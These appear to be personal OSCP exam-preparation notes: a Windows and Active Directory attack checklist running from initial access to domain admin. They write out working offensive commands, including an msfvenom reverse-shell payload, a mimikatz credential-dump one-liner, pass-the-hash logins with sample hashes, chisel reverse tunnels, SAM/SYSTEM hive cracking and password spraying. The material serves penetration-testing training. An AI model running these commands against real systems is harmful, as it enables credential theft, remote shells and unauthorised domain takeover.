Network map:

Kali → internet → DMZ → MS01

→ DC01

Score Structure:

DMZ admin 10 pt

MS01 admin 10 pt

DC01 admin 20 pt

Important:

Situational awareness: OSCP is a fundamental penetration testing certification, AV evasion, credential guard by pass, 0 day OS vulnerabilities are unlikely

Privilege escalation

1. Initial access with winrm, rdp, or ssh
    a. Rabbit hole:
        i. Another session in RDP, login with evil-winrm and end session
        ii. Non default port: always -p- on nmap
2. whoami /priv
    a. SeImpersonatePrivilege
        i. Potato family exploit: PetitPotato covers 80% of machines
            1. Evil-winrm shell is unstable for PetitPotato.exe 3 cmd, run mimikatz, dump NTLM and pass-the-hash
        ii. Service accounts will always have SeImpersonatePrivilege enabled, reflect shell or pivot
    b. Remote shutdown
        i. If this is present, service (exe or dll) hijack is almost guaranteed
        ii. If the reflected shell is still low privilege or the same account, it is worth it to check the reflected shell's privilege as SeImpersonatePrivilege might be enabled
3. Interesting files
    a. Powershell
        i. Get-ChildItem C:\Users -Recurse -Include *.txt,*.ini,*.kdbx,*.config,*.ps1,*.log,*.git, *.zip -ErrorAction SilentlyContinue
            1. If password protected: use jtr

        ii. Get-ChildItem C:\ -Recurse -Include*.kdbx,*.config,*.ps1,*.log,*.git, *.zip -ErrorAction SilentlyContinue
    b. WinPEASx64.exe
    c. manual check
        i. C:\
        ii. Desktop, Documents, Downloads of all accessible user
4. PowerUp.ps1
    a. Invoke all checks
5. WinPEASx64.exe (check for unquoted space, dll, exe hijack and scheduled tasks)
    a. Plug results into payload all the things
        i. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master
    b. Hijacking payload generation
        i. msfvenom -p windows/x64/shell_reverse_tcp LHOST=<tun0> LPORT=<port> -f (exe or dll) -o rev.(exe or dll)
6. Seatbelt & SharpUp Quick Filters
    a. Seatbelt.exe -group=*cred* -outputfile seatbelt_creds.txt
    b. SharpUp.exe --User --Password --Privilege –Services
7. Show all ports (if you got to this, you probably missed something):
    a. netstat -a -b
        i. chisel to expose the port to kali, poke with nc or telnet

Post Elevation, Persistence and Pivoting

1. mimikatz
    a. .\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" exit >> log.txt (this is done so that non interactive shells don't impede function)
        i. Rabbit hole
            1. All sekurlsa fails
                a. Credential guard installed (irrelevant to exam progression)
                b. DC handling NTLM only, make sure to impacket the DC with user list
        ii. NTLM
            1. Crack with hashcat -m 1000, no rules needed all password crackable with rockyou.txt or it's not supposed to be cracked
            2. Persistence with pass the hash
                a. impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:d6e4bd1f3383790ae1578d6a9bc1b0ed john@192.168.45.164

b. evil-winrm -H d6e4bd1f3383790ae1578d6a9bc1b0ed -u john -I 192.168.45.164

2. bloodhound
    a. sharphound.exe
        i. .\SharpHound.exe -c All
            1. If collection fails, use Potato exploit to elevate to system shell and attempt again
    b. Check control of
        i. Local admin (do note that DC administrator and local admin is overlapping so it's not a reliable pivot)
        ii. Computer (system)
        iii. Low privilege user
    c. GenericAll
        i. Bloodhound GUI will recommend attack
        ii. StandIn.exe if Bloodhound has no recommendation for GPO abuse
        iii. Interested in Domain Administrators Group
3. File enumeration
    a. Scripting
        i. Get-ChildItem C:\Users -Recurse -Include *.txt,*.ini,*.kdbx,*.config,*.ps1,*.log,*.git, *.zip -ErrorAction SilentlyContinue
            1. If password protected: use jtr
        ii. Get-ChildItem C:\ -Recurse -Include*.kdbx,*.config,*.ps1,*.log,*.git, *.zip -ErrorAction SilentlyContinue
    b. Manual
        i. Desktop, Documents, Downloads of all accessible user
4. Chisel
    a. General exposure (one way)
        i. Kali: chisel server --port 8080 –reverse
        ii. Target: .\chisel.exe client <myip>:8080 R:socks
    b. Single Port (two way)
        i. .\chisel.exe client <kali> :<port> 0.0.0.0:<exposed local port>:<kali>:<port>
            1. On kali target the DMZ instead of the internal IP of what's behind the DMZ
            2. Proxychains should be set to 1080
5. Impacket spray
    a. impacket-GetUserSPNs

    b. impacket-GetNPUsers
    c. impacket_MSSQLClient
    d. impacket-psexec
6. System32
    a. Either live in MS01 windows or windows.old in C:\
        i. Download SYSTEM and SAM in the system32 folder
            1. Crack with /usr/share/creddump7/pwdump.py SYSTEM SAM
7. Spray passwords/ hashes
    a. User list with net user /domain
        i. Crackmapexec